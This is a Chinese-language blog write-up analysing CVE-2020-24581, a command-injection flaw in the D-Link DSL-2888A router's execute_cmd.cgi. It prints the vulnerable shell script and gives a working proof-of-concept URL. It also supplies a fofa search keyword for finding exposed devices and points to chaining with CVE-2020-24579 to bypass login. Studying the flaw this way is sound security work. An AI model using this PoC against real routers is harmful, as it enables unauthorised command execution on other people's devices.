CVE-2020-24581

文章发布时间:

最后更新时间:

文章总字数:
1.2k

预计阅读时间:
5 分钟

前言

参照资料https://www.anquanke.com/post/id/229323#h3-5

比较简单的一个CVE 且不需要模拟路由器环境 适合第一次接触iot的萌新(就比如我

同时由于我的网络基础知识薄弱 有些地方也是网络上查资料的 可能存在错误

漏洞路由器型号:D-Link DSL-2888A

漏洞编号: CVE-2020-24581

fofa搜索关键词: body=DSL-2888A

漏洞影响版本: AU_2.31_V1.1.47ae55之前的版本

固件下载: https://www.dlink.com.sg/dsl-2888a/

逻辑分析

首先要清楚 漏洞产生的原因是因为execute_cmd.cgi文件存在任意的参数执行

为了捋清楚漏洞的本质 我们要定位到以下两个重点

1.如何执行到execute_cmd.cgi文件

2.如何赋值execute_cmd.cgi的参数

如何执行到execute_cmd.cgi文件

/etc/rc.d/rcS是Linux系统中负责系统初始化以及启动相关任务的脚本

本次漏洞是由web服务触发的 所以我们需要跟进到路由器负责web服务的二进制文件 通过/etc/rc.d/rcS脚本 可以定位到是dhttpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if [ -e "/usr/sbin/onetouch" ]; then
dxml -n dbros -t &
sleep 1
dxmlc -l /usr/script/onetouch/dlink.xml
sleep 1
/usr/script/onetouch/sync_device.sh
/usr/script/onetouch/sync_wan.sh
/usr/script/onetouch/sync_wlan.sh
/usr/script/onetouch/sync_wlan5g.sh

dhttpd &
killall onetouch
onetouch &
fi

通过find命令 可以定位到位于/usr/sbin/dhttpd目录
image.png
发现是32位的ARM架构的文件
随后我们需要定位到dhttp文件中负责调用execute_cmd.cgi文件的函数
先来搞明白cgi文件是什么 CGI (Common Gateway Interface) 文件是一种通用的网页编程技术 用于在Web服务器上执行可执行程序或脚本
其存放在jffs2-root/www/cgi-bin/目录下
所以我们尝试在ida中搜索cgi-bin字符串 就可以跟着定位到sub_9C4C函数
该函数用来加载web和cgi组件
image.png
我们可以进一步跟进到sub_BEA0函数
image.png
这里进行调用cgi文件前的相关check和初始化
image.png
在后面可以看到 需要相关的环境变量来启动cgi文件
可以看到有REMOTE_USER的变量 说明可能需要
随后调用了sub_BB5C函数执行cgi文件

如何赋值execute_cmd.cgi的参数

1
2
3
4
5
6
7
8
9
#!/bin/sh
. /usr/syscfg/api_log.sh
cmd=`echo ${QUERY_STRING} | cut -d = -f 3`
cmd=`echo ${cmd} |tr "%20" " "`
result=`${cmd}`  
TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"
echo  "Content-type: text/html"
echo  ""
echo -n ${result}

通过分析其内容 可以看到cmd参数是根据QUERY_STRING环境变量的第三个字段来的 其分割符是‘=’
那么我们此时来遍历一下目录下的所有文件 看看QUERY_STRING环境变量的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os

def search_files(directory, target_string):
for root, dirs, files in os.walk(directory):
for file in files:
filepath = os.path.join(root, file)
with open(filepath, 'r', errors='ignore') as f:
line_number = 1
for line in f:
if target_string.lower() in line.lower():
print(f"Found in file: {filepath}, line: {line_number}, content: {line}")
line_number += 1

# 指定要搜索的目录和目标字符串
search_directory = '/home/chen/iot/_DSL-2888A_AU_2.12_V1.1.47Z1-Image-all.bin.extracted/jffs2-root'
target_string = 'QUERYSTRING'

# 调用函数进行批量搜索
search_files(search_directory, target_string)

这里搜索QUERY_STRING没有找到有用的文件 所以去掉了_

image-20230809214437721

于是我们可以定位到ajax.js文件

通过观察POC我们可以知道 是通过GET请求 很快可以定位到对应的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
get : function(_dataType)
{
var _url = this.url;
if(_url.indexOf('?') == -1)
_url += '?timestamp=' + new Date().getTime();
else
_url += "&timestamp=" + new Date().getTime();
if(this.queryString.length > 0)
_url += "&" + this.queryString;

this.xmlHttp.open("GET", _url, true);
/* will make IE11 fail.
if(!document.all){
if(_dataType == "xml")
this.xmlHttp.overrideMimeType("text/xml;charset=utf8");
else
this.xmlHttp.overrideMimeType("text/html;charset=gb2312");//设定以gb2312编码识别数据
}
*/
this.xmlHttp.send(null);
},

不难看出其会在url后加上一个参数timestamp 用来记录当前的时间戳 随后拼接完url后发送

我个人认为这一步分析其实没有什么必要 因为在审计完execute_cmd.cgi后我们就可以得到POC如何编写了

POC

加上刚才分析的 cmd参数是由第三个字段来的 也就是第二个参数 那么可以直接得到POC

1
http://xxx/cgi-bin/execute_cmd.cgi?aaaa=6&bbbb=ls

image-20230809215418504

注意点

在dhttpd文件的分析中 可以看到要成功执行cgi文件还需要先进行登录验证

所以我们需要搭配上CVE-2020-24579才能成功复现该漏洞

这里就不进行讲解

https://vuls.info/PeiQi/wiki/iot/D-Link/D-Link%20DSL-28881A%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2020-24579/